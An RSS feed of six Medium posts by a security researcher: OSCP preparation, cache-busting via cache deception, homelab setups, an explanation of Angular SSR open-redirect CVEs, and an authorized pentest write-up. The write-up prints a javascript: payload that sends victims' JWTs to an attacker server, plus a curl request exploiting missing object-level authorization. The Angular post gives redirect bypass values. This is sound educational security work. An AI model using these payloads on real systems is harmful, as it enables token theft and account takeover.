<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by HCN on Medium]]></title>
        <description><![CDATA[Stories by HCN on Medium]]></description>
        <link>https://medium.com/@hcnpeiris?source=rss-7c27d3902ed1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*rC0QytE1thpKxKUHTw2VlQ.png</url>
            <title>Stories by HCN on Medium</title>
            <link>https://medium.com/@hcnpeiris?source=rss-7c27d3902ed1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 01:53:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hcnpeiris/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I Prepared for and Passed the OSCP on My First Attempt]]></title>
            <link>https://medium.com/@hcnpeiris/how-i-prepared-for-and-passed-the-oscp-on-my-first-attempt-b17faeebe381?source=rss-7c27d3902ed1------2</link>
            <guid isPermaLink="false">https://medium.com/p/b17faeebe381</guid>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[oscp-certification]]></category>
            <category><![CDATA[pg-practice]]></category>
            <dc:creator><![CDATA[HCN]]></dc:creator>
            <pubDate>Sat, 24 Oct 2026 05:13:04 GMT</pubDate>
            <atom:updated>2026-10-24T05:13:04.184Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ASqqeD3jOA1pOPAvZPj6_w.png" /></figure><p>The OSCP exam can be very challenging if you know the theory but lack practical experience. Even after completing PEN-200, you may struggle because practical intuition takes time to develop.</p><p>Here are some lessons from my preparation and exam experience.</p><h3>1. Get Enough Practical Experience</h3><p>For me, PG Practice was one of the best ways to improve my practical skills. Many of the machines I practised were similar to the exam’s standalone machines.</p><p>I completed <strong>52 PG Practice machines and 16 PG Play machines</strong> before I felt reasonably confident about taking the exam.</p><p>At first, I couldn’t solve every machine independently. I used AI, walkthroughs, and other write-ups to learn techniques and theory I had missed. Eventually, I became able to complete machines without relying on these resources.</p><p>The course material and practice machines don’t cover everything. However, once you understand the fundamentals and common techniques, you can research unfamiliar topics when needed.</p><h3>2. Learn Tools Beyond the Course</h3><p>The course teaches the basics, but some additional tools can save time. However, always prepare alternatives in case a tool doesn’t work.</p><h3>Penelope</h3><p><a href="https://github.com/brightio/penelope">Penelope</a> has several useful features:</p><ul><li><strong>Interactive shells:</strong> You can upgrade a basic reverse shell to an interactive shell, making it easier to run commands that require interaction, such as su and certain sudo commands. You can also use Vim.</li><li><strong>Automatic enumeration:</strong> Penelope can download and run enumeration tools such as PEASS without manually transferring them. It can select a suitable version for the target environment.</li><li><strong>File transfers:</strong> You can upload and download files without transferring them manually through other methods.</li></ul><p>When writing this article, Penelope’s Windows file-upload support did not support for windows targets, so I mainly used Evil-WinRM. Check the <a href="https://github.com/brightio/penelope">Penelope GitHub repository</a> for its supported features.</p><h3>Ligolo-ng</h3><p>The course teaches Chisel for pivoting, but I prefer <a href="https://github.com/Nicocha30/ligolo-ng">Ligolo-ng</a> because its workflow is easier for me. I use it to pivot into internal networks and access services bound to loopback interfaces.</p><h3>NetExec (NXC)</h3><p>The course material references <a href="https://github.com/byt3bl33d3r/CrackMapExec">CrackMapExec</a>, which is no longer maintained. I prefer <a href="https://github.com/Pennyw0rth/NetExec">NetExec</a>, and I find its documentation easy to follow.</p><h3>Test Your Tools and Keep Alternatives Ready</h3><p>I encountered issues with Mimikatz in Kali Linux, and I couldn’t use it through Evil-WinRM, so I used NetExec instead.<br> I also encountered a Hashcat issue on my Apple Silicon MacBook that required me to research the problem and compile it manually.</p><h3>Custom Scripts</h3><p>I built my own Windows privilege-escalation enumeration scripts because WinPEAS output was too noisy for me. I start with my own checks for quick wins and move to WinPEAS if I don’t find anything useful.</p><h3>3. Organise Your Workspace</h3><p>Some UI choices can affect how easily you keep track of your work. This is subjective, but the following setup works well for me.</p><p>I rename and colour-code terminal tabs so I can quickly identify which one is for the VPN, payload handling, or Ligolo-ng. Within each tab, I split the terminal into panes for related tasks. This also makes it easier to find previous commands and outputs when something fails.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZaGHCNgtEAJjsqiw5A3Oag.png" /></figure><p>I usually use Vim for text editing, but I prefer VS Code when modifying exploits because its syntax highlighting makes the code easier to read. Neovim plugins still don’t feel right for my workflow.</p><p>For web testing, I usually start with Firefox and move to Burp Suite when needed. I also find Caido’s UI more user-friendly.</p><h3>4. Follow a Systematic Enumeration Methodology</h3><p>My high-level methodology is to start with broad enumeration and gradually increase the depth of enumeration in each round.</p><p>In the initial round, I enumerate all open ports and identify the running services. At the end of each round, I review the results, identify possible attack paths, and try them one by one. If nothing works, I move to the next round of enumeration.</p><p>I usually start with services such as SMB and FTP because I can often complete their initial enumeration quickly. I don’t immediately focus on the web server while other services still need to be enumerated.</p><p>The reason for enumerating all ports is that an attack path may involve multiple services. For example, you might upload a PHP reverse shell through FTP and trigger it through the web server.</p><p>By gradually increasing the depth of enumeration, you can avoid missing these opportunities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KC_g9XdmOxeEYyIbmZ2V5A.png" /><figcaption>Initial foothold</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bJLju8u7U5UoQR_tINlG0Q.png" /><figcaption>Linux privilege escalation</figcaption></figure><h3>5. Know How to Get Back on Track</h3><p>I sometimes spent too much time investigating rabbit holes, even after suspecting they wouldn’t lead anywhere.</p><p>To address this, I prepared a checklist for when I got stuck:</p><ul><li>Write down the information I have found and update my notes.</li><li>Take a short break and review my progress.</li><li>Check what I have already tried and what I might have missed.</li><li>Decide whether further investigation is worth the remaining time.</li></ul><p>I also accepted that some machines might remain unsolved during practice. Rather than spending all my time on one machine, I focused on gaining experience that could help with future machines.</p><h3>6. Prepare for Technical Issues</h3><p>Some machines were much slower than PG Practice machines, so don’t assume every target will respond quickly.</p><p>During the exam, I encountered an issue with the proctoring software and couldn’t reach the proctors directly. However, contacting support through the chatbot helped resolve it quickly.</p><p>I also experienced a seven-hour power cut on the report-writing day. On the exam day, bad weather caused several short power interruptions.</p><p>I had prepared for these situations, but experiencing them during the exam period was still stressful.</p><p>Prepare your setup beforehand and consider how you will handle power cuts, connectivity issues, and tool failures.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b17faeebe381" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Using Cache Deception Techniques to Discover Cache Poisoning Vectors]]></title>
            <link>https://medium.com/@hcnpeiris/using-cache-deception-techniques-to-discover-cache-poisoning-vectors-bc7bfa7bbc43?source=rss-7c27d3902ed1------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc7bfa7bbc43</guid>
            <category><![CDATA[cache-poisoning]]></category>
            <category><![CDATA[web-cache-poisoning]]></category>
            <category><![CDATA[cache-busting]]></category>
            <category><![CDATA[cache-deception]]></category>
            <category><![CDATA[web-cache-deception]]></category>
            <dc:creator><![CDATA[HCN]]></dc:creator>
            <pubDate>Mon, 20 Jul 2026 06:24:37 GMT</pubDate>
            <atom:updated>2026-07-22T04:12:23.764Z</atom:updated>
            <content:encoded><![CDATA[<p>To find cache poisoning vulnerabilities, the first step is to identify a cache-busting technique. Without a cache-busting method, it is not possible to safely verify whether a site is vulnerable. I have experienced cases where, after reporting cache poisoning attacks, developers removed the ability to perform cache busting as a mitigation. This prevented further testing because, without cache busting, testing could impact live users.</p><p>When common cache-busting techniques, such as query parameters or headers, do not work on a target, there are other ways to identify cache-busting techniques. These methods are well known in the context of cache deception attacks but are not widely known as cache-busting techniques.</p><h3><strong>Deception vs Poisoning</strong></h3><p>For shared caches:</p><ul><li>If a single URL can produce multiple responses, it may be vulnerable to cache poisoning.<br> <strong>Example:</strong> The same URL is requested twice, but one request includes a header that triggers an error page. This can lead to CPDoS. There is only one URL (no variations), but multiple possible responses.</li><li>If multiple URLs return the same response, it may be vulnerable to cache deception.<br> <strong>Example:</strong> An admin page is accessible via multiple URL variations such as /admin and /%61dmin. An attacker can trick a victim into visiting /%61dmin, causing the response to be cached.</li></ul><p>To identify cache deception issues, it is necessary to find multiple URLs that map to the same page. This is similar to identifying cache-busting techniques for cache poisoning, where the goal is to discover different URLs for the same endpoint in order to test unique request variations.</p><h3><strong>Deception technique for busting</strong></h3><p>Consider a website with a parser differential where the application decodes the URL before routing it to the endpoint, while the cache proxy does not normalize it and instead treats it as-is.</p><p>URL: /%41bout</p><p>Cache proxy: /%41bout</p><p>Backend: /about</p><p>This behavior can be used for cache deception attacks if the endpoint returns sensitive information. It can also be leveraged for cache busting.</p><p>The word “about” contains 5 characters: a, b, o, u, t. Each character has two possible representations in a URL:</p><ol><li>Literal form (e.g., a)</li><li>Percent-encoded form (e.g., %61 or %41)</li></ol><p>Since each of the 5 positions has 2 independent possibilities, the total number of combinations is:</p><p>2⁵ = 32</p><p>This produces 32 variations of the word “about.” Excluding the original literal form, there are 31 alternative URLs that can be used to test a single endpoint.</p><h3><strong>More chances</strong></h3><p>This technique limits testing to 31 variations for a specific path in this scenario. Therefore, instead of relying on arbitrary headers, it is more effective to focus on the most likely headers or other exploitable primitives. Identifying additional parser differentials further expands the variation space by increasing the number of possible combinations.</p><p>Additionally, the same root cause may exist across multiple endpoints, which allows us to increase the available testing space. We can test the 31 URL variations with different headers against one endpoint. After completing the tests for one endpoint, we can move to another endpoint and test the same set of URL variations with remaining headers. This increases the overall testing space and the chance of identifying a cache poisoning condition.</p><p>In some cache deception cases, such as /contact versus /contact.html, the opportunity may be limited to a single variation. In these scenarios, a low cache duration can be used as an advantage, although it introduces constraints. For instance, if the cache duration is 10 seconds, it is possible to test /contact.php within that time window. After the cache expires, the server processes a new request, and since the primary URL is /contact, testing /contact.php does not impact real users.</p><p>Low cache durations are uncommon. As cache duration increases, testing time also increases. Even when a low cache duration is present, the impact of attacks like denial-of-service is limited because the effect only lasts for a short period. Despite this limitation, such conditions can still be useful for exploiting issues like XSS.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc7bfa7bbc43" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Practical Homelab for Rebuilding and Testing Web Apps]]></title>
            <link>https://medium.com/@hcnpeiris/practical-homelab-for-rebuilding-and-testing-web-apps-b05c3ace578a?source=rss-7c27d3902ed1------2</link>
            <guid isPermaLink="false">https://medium.com/p/b05c3ace578a</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[raspberry-pi]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[homelab]]></category>
            <dc:creator><![CDATA[HCN]]></dc:creator>
            <pubDate>Fri, 26 Jun 2026 04:34:28 GMT</pubDate>
            <atom:updated>2026-06-26T04:44:00.789Z</atom:updated>
            <content:encoded><![CDATA[<h3>Building a Web Security Research Homelab</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rQjcwEM82DKMKgP6__TcEQ.png" /></figure><p>Sometimes, during black-box testing, I recreate a similar web app using the same stack whenever possible to better understand how the target website actually works. Rebuilding those environments repeatedly on my MacBook is not practical, and I also prefer not to expose vulnerable web apps on a public VPS. So, I use a homelab for this purpose. Below is information about the lab architecture and the tools I use for bug hunting.</p><h3>Lab hardware</h3><p>The main lab host is a Raspberry Pi 5. I keep it powered on 24/7, connected by Ethernet, and running headless Ubuntu with XFCE installed for cases where a GUI is needed. I chose Ubuntu because it is stable, well supported, and has extensive documentation.</p><p>My MacBook is the main machine I use for analysis and hunting. Most web testing tools work well on macOS, so I can keep my workflow simple and avoid switching systems unless I need something specific. Kali runs inside a VM on my MacBook, but I mainly use it for AD-related work rather than web app testing.</p><h3>Network and access</h3><p>The Pi and MacBook stay on the same local network. The Pi connects over Ethernet, while the MacBook connects over Wi‑Fi. I use DHCP binding on the router for stable device addressing. I use both the router DNS and /etc/hosts on my MacBook depend on the scenario.</p><p>For setup Pi, I use SSH for terminal access and VNC when I need the Pi’s GUI. This keeps the lab lightweight while still letting me use desktop tools when required.</p><h3>Web stack</h3><p>Nginx is the primary server on the lab and hosts multiple web apps. This makes it easy to test different web app-specific configurations in one place. I use Varnish when I want to study cache-related issues, including bugs that depend on response caching or request handling.</p><h3>Tools on my MacBook</h3><p>My main tools on macOS are Caido Community and Burp Community. I like Caido for its workflow and clean UI, while Burp is still better for protocol-level testing, more advanced request manipulation, and plugins that are not available in Caido community version.</p><p>Claude Code use to create initial vulnerable web apps and to analyze framework source code, publicly reported issues, forum threads, and discussion posts. This helps me understand how a stack behaves before I start testing it manually</p><p>I also use VNC Viewer for Pi GUI access, PDTM tools for recon, and Go and Bash for custom scripts. Go is useful when I need controlled requests or edge-case testing, while Bash is convenient for quick automation and PoC scripts.</p><h3>Additional Tools on the Pi</h3><p>I use Gitea on the Pi to keep my notes and local research material. I also run a few custom Django apps for practical personal use, such as time tracking, daily planning, and habit tracking. These apps are accessible over the local network using my phone on local network and help me keep the lab useful beyond security testing.</p><p>Sometimes I also run Burp Suite on the Pi for slow, time-consuming testing, since it is easier than using the MacBook and avoids running those processes in the background. A VNC server is available there for GUI-based work.</p><h3>External testing</h3><p>When a local setup is not enough, such as when testing CDN behavior, firewall rules, or location-based restrictions, I use an Akamai Nanode VPS. Direct SSH access is used with usual tools, and sometimes through WireGuard VPN. Both the MacBook and the Raspberry Pi have WireGuard clients installed.</p><h3>Summary</h3><p>This provides a stable and safe environment to recreate web application stacks, study behavior, and practice black-box testing. Analyzing and rebuilding the code also helps generate additional research leads, as the development process provides insight into implementation details, functionality, and system behavior.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b05c3ace578a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Angular SSR Open Redirect Vulnerabilities Explained (CVE-2026-27738, CVE-2026-33397)]]></title>
            <link>https://medium.com/@hcnpeiris/angular-ssr-open-redirect-vulnerabilities-explained-cve-2026-27738-cve-2026-33397-9938214d070a?source=rss-7c27d3902ed1------2</link>
            <guid isPermaLink="false">https://medium.com/p/9938214d070a</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[explained]]></category>
            <category><![CDATA[open-redirect]]></category>
            <category><![CDATA[angular-ssr]]></category>
            <category><![CDATA[cache-poisoning]]></category>
            <dc:creator><![CDATA[HCN]]></dc:creator>
            <pubDate>Sat, 06 Jun 2026 07:50:45 GMT</pubDate>
            <atom:updated>2026-06-06T13:47:14.561Z</atom:updated>
            <content:encoded><![CDATA[<h3>Angular SSR Open Redirect Vulnerabilities Explained (CVE-2026–27738, CVE-2026–33397)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eo7cPU3DRRr8se1sZt5YxA.png" /></figure><h3>Introduction</h3><p>In this year(2026) start , 3 security advisories was published for Angular SSR regarding an open redirect vulnerabilities. <br>Here are CVEs <br>- <a href="https://github.com/angular/angular-cli/security/advisories/GHSA-xh43-g2fq-wjrj"><strong>CVE-2026–27738 | Feb 23, 2026 | reporter — VenkatKwest</strong></a><br>-<strong> </strong><a href="https://github.com/angular/angular-cli/security/advisories/GHSA-vfx2-hv2g-xj5f"><strong>CVE-2026–33397 | Mar 19, 2026 | reporter — VenkatKwest</strong></a><br>- <a href="https://github.com/angular/angular-cli/security/advisories/GHSA-69xr-m8h6-h664">CVE-2026–44437 | May 03, 2026 | reporter — kimkou2024</a></p><p>First 2 CVEs the same cause and second one is bypassing the earlier introduce validation mechanism. In this article we talk about the first 2 CVEs.</p><p>Before understanding how this vulnerability occurs, it is necessary to understand X-Forwarded-Prefix and protocol-relative requests.</p><h3>Why X-Forwarded-Prefix</h3><p>Sometimes you need to host multiple web applications on the same domain at different paths. For example, the main marketing pages at /, /contact, and /about serve one application, while /shop serves a different application, with /shop as its entry point.</p><p>In this scenario, a proxy can be configured to route all /shop/* requests to the second application after stripping the /shop prefix. As a result, the /shop application receives /shop as /, and /shop/cart as /cart.</p><p>Now consider an endpoint /shop/oldpage that should redirect to /shop/newpage. The server must return a redirect response with a Location header pointing to /shop/newpage. However, the application only sees the path as /oldpage, so it may generate a redirect to /newpage, which is incorrect.</p><p>In this setup, the proxy needs to be configured to include the X-Forwarded-Prefix header. This allows Angular to detect the original /shop prefix and correctly construct the Location header for the redirect response.</p><p>The problem is that an attacker can send a request with a malicious X-Forwarded-Prefix. Angular uses this value to define the Location header. For example, with X-Forwarded-Prefix: /shop, Angular sets the Location header value to /shop/newpage.</p><h3>Protocol-relative request</h3><p>When a redirect response contains //shop/newpage instead of a single leading slash, browsers interpret this as a protocol-relative URL, where the first path segment is treated as the hostname. As a result, the browser redirects to https://shop/newpage, leading to an open redirect.</p><p>X-Forwarded-Prefix: //shop does not directly generate //shop/newpage as the Location header value, but in some cases, double leading slashes in the resulting path cause the browser to interpret it as a protocol-relative request.</p><h3>CVE-2026–27738</h3><h4>Double (or triple) leading slashes</h4><p>To understand why //shop/newpage is not produced for X-Forwarded-Prefix: //shop, consider the joinUrlParts() function in packages/angular/ssr/src/utils/url.ts, which is used to join the X-Forwarded-Prefix value.</p><pre>export function joinUrlParts(…parts: string[]): string {<br> const normalizeParts: string[] = [];<br> for (const part of parts) {<br> if (part === &#39;&#39;) {<br> // Skip any empty parts<br> continue;<br> }<br>let normalizedPart = part;<br> if (part[0] === &#39;/&#39;) {<br> normalizedPart = normalizedPart.slice(1);<br> }<br> if (part.at(-1) === &#39;/&#39;) {<br> normalizedPart = normalizedPart.slice(0, -1);<br> }<br> if (normalizedPart !== &#39;&#39;) {<br> normalizeParts.push(normalizedPart);<br> }<br> }<br>return addLeadingSlash(normalizeParts.join(&#39;/&#39;));<br>}</pre><p>In joinUrlParts, each part is normalized by removing a single leading and trailing / without additional validation.</p><p>When the X-Forwarded-Prefix header contains multiple leading slashes, such as ///evil.com, only one leading slash is removed during normalization, with no further sanitization or validation applied.</p><h4>Impact</h4><p>Therefore, by using X-Forwarded-Prefix: ///evil.com, an attacker can perform an open redirect. It becomes more serious when the cache does not vary on the X-Forwarded-Prefix header. An attacker can poison cached redirect responses, causing users to be redirected to an attacker-controlled website.</p><h4>Fix</h4><p>Angular maintainers fixed the issue by:</p><ol><li>Updating joinUrlParts to strip all leading and trailing slashes from URL segments.</li><li>Adding strict validation for the X-Forwarded-Prefix header using a regex.</li></ol><h3>CVE-2026–33397</h3><p>As discussed earlier, protocol-relative requests are not limited to double leading slashes. Modern browsers may interpret the /\ sequence as //. If the Location header is /\evil.com/newpage, it can still trigger an open redirect and the same cache poisoning issue.</p><p>However, X-Forwarded-Prefix: /\evil.com does not work directly due to validation of the X-Forwarded-Prefix header</p><pre>const INVALID_PREFIX_REGEX = /^[/\\]{2}|(?:^|[/\\])\\.\\.?(?:[/\\]|$)/;</pre><p>By looking at the updated joinUrlParts:</p><pre>export function joinUrlParts(…parts: string[]): string {<br> const normalizedParts: string[] = [];<br>for (const part of parts) {<br> if (part === &#39;&#39;) {<br> continue;<br> }<br>let start = 0;<br> let end = part.length;<br>// Use pointers to avoid intermediate slices<br> while (start &lt; end &amp;&amp; part[start] === &#39;/&#39;) {<br> start++;<br> }<br>while (end &gt; start &amp;&amp; part[end - 1] === &#39;/&#39;) {<br> end - ;<br> }<br>if (start &lt; end) {<br> normalizedParts.push(part.slice(start, end));<br> }<br> }<br>return addLeadingSlash(normalizedParts.join(&#39;/&#39;));<br>}</pre><p>After normalization, a leading / is added. This means only \evil.com is needed as the value, and it is not caught by the regex.</p><p>As a result, using a value like \evil.com, an attacker can trigger an open redirect again.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9938214d070a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From BOLA to Account Takeover via javascript: URI Injection]]></title>
            <link>https://medium.com/@hcnpeiris/from-bola-to-account-takeover-via-javascript-uri-injection-53521d291b10?source=rss-7c27d3902ed1------2</link>
            <guid isPermaLink="false">https://medium.com/p/53521d291b10</guid>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[idor-vulnerability]]></category>
            <dc:creator><![CDATA[HCN]]></dc:creator>
            <pubDate>Mon, 13 Apr 2026 13:50:21 GMT</pubDate>
            <atom:updated>2026-04-13T13:50:21.313Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0l1lNNgZcj5Vj7nHCeUV1Q.png" /></figure><p>A few months ago, a group of friends building a startup asked me to perform a penetration test on their web application. I do freelance security work on the side, and this was exactly the kind of engagement I enjoy, a real product, real code, and a team that wanted to find issues before launch.</p><p>The app was a Supabase-backed form builder where users could create forms to collect structured data surveys, feedback, and similar while responses came from other users. Each form required admin approval before going live, acting as a moderation layer. I was given a test account, a defined scope, and full authorization. While the engagement uncovered several issues, this write-up focuses on two specific findings, because when chained together, they led to full account takeover.</p><p><strong>BOLA: Anyone Can Modify Anyone’s Data</strong></p><p>While analyzing the form editing flow, I noticed the frontend sent a PATCH request directly to the Supabase REST API when updating a form:</p><pre>curl -k -X PATCH &quot;https://&lt;project&gt;.supabase.co/rest/v1/forms?id=eq.$FORM_ID&quot; \<br>-H &quot;authorization: Bearer $JWT&quot; \<br>-H &quot;apikey: $APIKEY&quot; \<br>-H &quot;Content-Type: application/json&quot; \<br>-d &#39;{&quot;title&quot;: &quot;Updated Title&quot;}&#39;</pre><p>At first glance, this looked normal. But two issues stood out.</p><p>First, the API accepted any <em>FORM_ID</em> not just forms owned by the authenticated user. There was no object-level ownership check.</p><p>Second, sensitive fields like <em>is_approved</em> and <em>status</em> were writable.</p><p>This meant any authenticated user could modify any form in the system, including approving forms by sending:</p><pre>-d &#39;{&quot;is_approved&quot;: true, &quot;status&quot;: &quot;accepted&quot;}&#39;</pre><p>The backend only verified that the JWT was valid, it never checked whether the user was authorized to modify the target resource. Classic Broken Object Level Authorization (BOLA).</p><p><strong>javascript: URI Injection and JWT Exfiltration</strong></p><p>With write access to arbitrary form fields, I looked for impact. Stored XSS wasn’t viable due to React’s escaping, so injecting scripts into rendered content wouldn’t execute.</p><p>However, the application used a two-step redirection flow. Each form had:</p><ul><li>a <strong>short URL</strong> (what users actually visit)</li><li>a <strong>form_url</strong> (the destination)</li></ul><p>When a user clicked the short URL, they were first taken to a dedicated handler page, which then performed a client-side redirect to the value stored in <em>form_url</em>.</p><p>This redirect logic became the attack surface. The backend didn’t validate form_url, and the redirect page blindly trusted it. That meant arbitrary URI schemes were allowed. I confirmed this with:</p><pre>-d &#39;{&quot;form_url&quot;: &quot;javascript:alert(1)&quot;}&#39;</pre><p>When visiting the short URL, the handler page executed the payload during the redirect.</p><p>There was no Content Security Policy, so nothing prevented execution. Since Supabase stores session tokens in localStorage, I escalated the payload to exfiltrate the JWT:</p><pre>-d &quot;{\&quot;form_url\&quot;: \&quot;javascript:fetch(&#39;https://MY_SERVER/?jwt=&#39;+localStorage.getItem(&#39;&lt;token-key&gt;&#39;))\&quot;}&quot;</pre><p>When a victim visited the short URL, the redirect page executed the payload and sent their token to my server.</p><p><strong>Chaining to Full Account Takeover</strong></p><p>Individually, both issues are impactful. Chained together, they enable full account takeover.</p><p>An attacker can create a malicious form with a javascript: payload in form_url. Since forms require admin approval, the next step is getting it reviewed. During this process, an admin visits the form via its short URL, which loads the redirect handler page — triggering the payload and exfiltrating the admin’s JWT.</p><p>This results in immediate admin account takeover.</p><p>From there, the BOLA expands the impact further. Because any form can be modified, the attacker can target already published forms and replace their form_url with the same payload. These forms are trusted and actively used, so any user visiting them will trigger the redirect and leak their token.</p><p>This turns the attack into a scalable compromise:</p><ul><li>Admins are taken over during the approval flow</li><li>Regular users are compromised via legitimate published forms</li></ul><p>In addition, the JWT itself often contains embedded user data (such as email, phone number, and other profile attributes). Even without using the token for API access, simply capturing it can expose sensitive user information.</p><p>No special interaction is required beyond visiting a link. With a valid JWT, the attacker gains full authenticated access, allowing them to read data, modify resources, and continue propagating the attack by poisoning additional forms.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=53521d291b10" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Turning a Raspberry Pi 5 Into a Mini DevOps and Security Workstation]]></title>
            <link>https://medium.com/@hcnpeiris/turning-a-raspberry-pi-5-into-a-mini-devops-and-security-workstation-bba3871b303b?source=rss-7c27d3902ed1------2</link>
            <guid isPermaLink="false">https://medium.com/p/bba3871b303b</guid>
            <category><![CDATA[security-research]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[self-hosted]]></category>
            <category><![CDATA[raspberry-pi]]></category>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[HCN]]></dc:creator>
            <pubDate>Mon, 01 Dec 2025 13:04:46 GMT</pubDate>
            <atom:updated>2026-06-26T04:36:01.903Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*96o1j5giMaZ5D9q0NCK15A.png" /></figure><p>Hello everyone. I’m a web developer and security researcher, and in this article I’m going to explain how I use the Raspberry Pi 5 for my work, how effective it has been, and its pros and cons.</p><p>The Raspberry Pi is a series of small, affordable, credit-card-sized computers that can handle everything from basic tasks like web browsing to more advanced projects in electronics and programming. For me, I mainly use it for:</p><p>1. Self-hosted web-based tools</p><p>2. Running automation and scripts</p><p>Before discussing those uses, here’s a quick overview of my setup.</p><h4>Setup Overview</h4><p>I tested both Ubuntu and Kali on the Raspberry Pi 5, but I decided to go with Ubuntu. Both distributions provide Pi-compatible versions and solid documentation. However, Kali is focused on offensive security, and I found that documentation for non-security tools was limited. Since offensive security tools can also be installed easily on Ubuntu, choosing Ubuntu made more sense for my workflow. When you burn the OS to an SD card using Raspberry Pi Imager, you can configure SSH, set the SSH password, and add your home Wi-Fi details for automatic connection. This means you don’t need a desktop or monitor to set up your Raspberry Pi. I tested SSH over Wi-Fi as well as using an ethernet cable connected to my Wi-Fi router. Both methods worked fine.</p><p>However, on Ubuntu, MAC address randomization causes issues with DHCP and DNS on the local network because the MAC address changes on every reboot. To avoid this, you need to disable MAC address randomization. Kali, on the other hand, uses the Raspberry Pi’s hardware MAC address by default, so this problem doesn’t appear there.</p><p>After disabling MAC address randomization on Ubuntu, I configured a DHCP binding so the Pi always receives the same IP address. With a permanent IP and DNS settings, I can access my self-hosted web apps from any device on my home network.</p><h4>Self-hosted web-based tools</h4><p><a href="https://about.gitea.com/"><strong>Gitea</strong></a><br>This is the service I use the most. When I record recon data or work on private web projects, I prefer keeping everything on my own devices. But I still want a GitHub-style interface to view all my repositories in one place. Gitea is an open-source alternative to GitHub and works almost the same way. You simply point your Git remote origin to your Gitea instance instead of GitHub. Everything else works similarly.<br>One downside is that the UI isn’t as polished as GitHub, but it’s not a major issue.</p><p><strong>Custom Django apps</strong><br>I’m a big fan of building Django apps for my daily workflow — things like storing disclosed bug bounty reports, project data, or any structured information. With Django models and the admin panel, it’s very easy to store, categorize, and access data. All these custom Django applications run on the Raspberry Pi.</p><p><a href="https://www.openproject.org/"><strong>OpenProject</strong></a><br>OpenProject is another service I use. It’s an open-source project management tool that can be hosted easily using Docker. I use it less compared to Gitea because I’m still new to it, but it’s very useful when managing multiple projects. You can track progress, create sub-projects, add tasks or milestones, manage roles, and use Gantt charts for planning.</p><h4>Running automation and scripts</h4><p>The Raspberry Pi 5 is also useful for running long-running automation tasks and scripts — things like Subfinder, HTTPX (because of rate limits), and Burp Suite scans for large target lists. Since these tools can run for hours, I prefer not to use my laptop for them. Command-line tools work perfectly with tmux, which makes everything easier.</p><p><a href="https://github.com/tmux/tmux/wiki">Tmux</a> is a terminal multiplexer that lets you run multiple terminal sessions inside one window. You can detach from a session and reattach later, even if your SSH connection drops, and your scripts will keep running in the background.</p><p>For Burp Suite, you need a GUI. The Pi can run a graphical environment, but I’ve found the GUI to be quite laggy — likely due to hardware limitations. I use <a href="https://www.realvnc.com/en/">RealVNC</a> to access the Pi’s desktop when necessary, but for most tasks, CLI tools over SSH work much better.</p><p>Overall, I can say the Raspberry Pi 5 is the best tech gadget I bought in 2025. When I compare how often I use it for my daily work with how little it costs, the value is incredible. Sometimes it’s fun to set everything up, and sometimes it’s a pain when a misconfiguration happens. But those services only need to be set up once, so it’s not a big issue in the long run — and I’ve learned a lot through the process.</p><p>There are many other things the Pi can be used for, like running ad blockers or setting up a small NAS, but I haven’t had the time or need to try everything yet. Still, this is the best product I bought this year.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bba3871b303b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>